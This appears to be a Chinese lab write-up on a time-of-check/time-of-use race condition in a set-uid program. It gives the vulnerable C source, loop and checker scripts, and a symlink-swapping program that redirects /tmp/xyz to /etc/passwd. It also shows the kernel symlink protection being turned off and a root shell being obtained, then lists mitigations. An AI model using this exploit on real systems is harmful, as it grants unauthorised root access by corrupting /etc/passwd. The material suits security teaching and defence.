美文网首页hacker黑客往事
软件安全-竞争条件漏洞

软件安全-竞争条件漏洞

作者: ustc_sec | 来源:发表于2018-06-01 21:31 被阅读0次

Race Condition

概述竞争条件
char* fn = "/tmp/xyz"

检查access(fn,W_OK) 使用open(fn,"a+")

在检查和使用的时候fn所指向的文件不是一个文件

检查的时候判断的是用户真实ID

使用的时候判断的是用户的有效ID

本实验的目的是利用这个漏洞获得root权限

我们需要创造竞争条件,来完成这个实验

竞争条件需求:

  1. 需要这个有漏洞的程序反复运行
  2. 需要一个反复更改/tmp/xyz文件的链接
  3. 需要一个反复检查结果是否成功的脚本

初始化攻击环境

实验环境:ubuntu12
关闭保护机制
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
创建普通文件./XYZ
漏洞程序分析
漏洞程序源码:vulp.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
    char * fn = "/tmp/xyz";
    char buffer[] = "0000";
    FILE *fp;
    if(!access(fn, W_OK))
    {
        fp = fopen(fn, "r+");
        fseek(fp,-28,SEEK_END);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}

运行脚本:attack.sh

#!/bin/sh
$a = 0
while ["$a" == "$a"]
do
    ./vulp
done

检查运行结果是否修改了/etc/passwd文件:check.sh

#!/bin/sh
old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
while [ "$old" = "$new" ]
do
    new=`ls -l /etc/passwd`
done
echo "STOP... The passwd file has been changed"

修改/tmp/xyz软链接源文件:scrip.c

#include <unistd.h>
int main()
{
    while(1)
    {
        unlink("/tmp/xyz");
        symlink("/home/seed/Seed/race-condition/XYZ","/tmp/xyz");
        usleep(10000);
        unlink("/tmp/xyz");
        symlink("/etc/passwd","/tmp/xyz");
        usleep(10000);
    }
    return 0;
}

漏洞利用获得root权限

普通用户编译scrip.c,运行循环执行脚本attack.sh
root用户编译vulp.c,设置set-uid位,普通用户运行
运行检查结果脚本check.sh
攻击结果:

gu:x:0000:1004::/home/gu:/bin/sh
[03/26/2018 23:17] seed@ubuntu:~/Seed/race-condition$ su gu
Password: 
# 
# whoami
root
#

保护措施

保证检查和使用的文件是同一个文件
及时回收set-uid的特权
打开ubuntu12系统保护
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

相关文章

  • 软件安全-竞争条件漏洞

    Race Condition 概述竞争条件char* fn = "/tmp/xyz" 检查access(fn,W_...

  • 条件竞争漏洞

    条件竞争是沃特? 敲黑板,定义:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操...

  • 网络安全知识培训学习笔记

    逻辑漏洞 条件竞争 多个线程竞争同一个共享代码、变量、文件等称之为条件竞争。那么什么情况存在竞争条件? 实例:上传...

  • 工业控制网络漏洞分析

    一、分类工控安全漏洞可划分为工控设备漏洞、工控网络协议漏洞、工控软件系统漏洞、工控安全防护设备漏洞等。 工控RTU...

  • 线程安全和共享资源

    多线程同时安全地调用被称为线程安全。如果一段代码是线程安全的,那么它不包含任何竞争条件。竞争条件仅在多个线程更新共...

  • 实践中学习cve-2016-5195

    该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有...

  • 你不知道这10个Web安全漏洞,就别说自己是黑客

    该组织根据来自各种安全组织的数据发布顶级Web安全漏洞列表。 根据可利用性,可检测性和对软件的影响,Web安全漏洞...

  • 《0day安全:软件漏洞分析技术》学习笔记——ChapterII

    前言 《0day安全软件漏洞分析技术》是一本软件漏洞分析的入门经典,虽然已经出版很多年,以至于现在都绝版了,但是其...

  • 安全测试

    什么是安全测试? 安全测试是一种软件测试,可发现软件应用程序中的漏洞,威胁,风险并防止来自入侵者的恶意攻击。 安全...

  • 01 APP安全基础

    1 APP常见漏洞与对策 1.1 APP安全趋势总结 软件安全演变为信息安全 信息安全离大众越来越近 信息安全越来...

网友评论

    本文标题:软件安全-竞争条件漏洞

    本文链接:https://www.haomeiwen.com/subject/zqxlsftx.html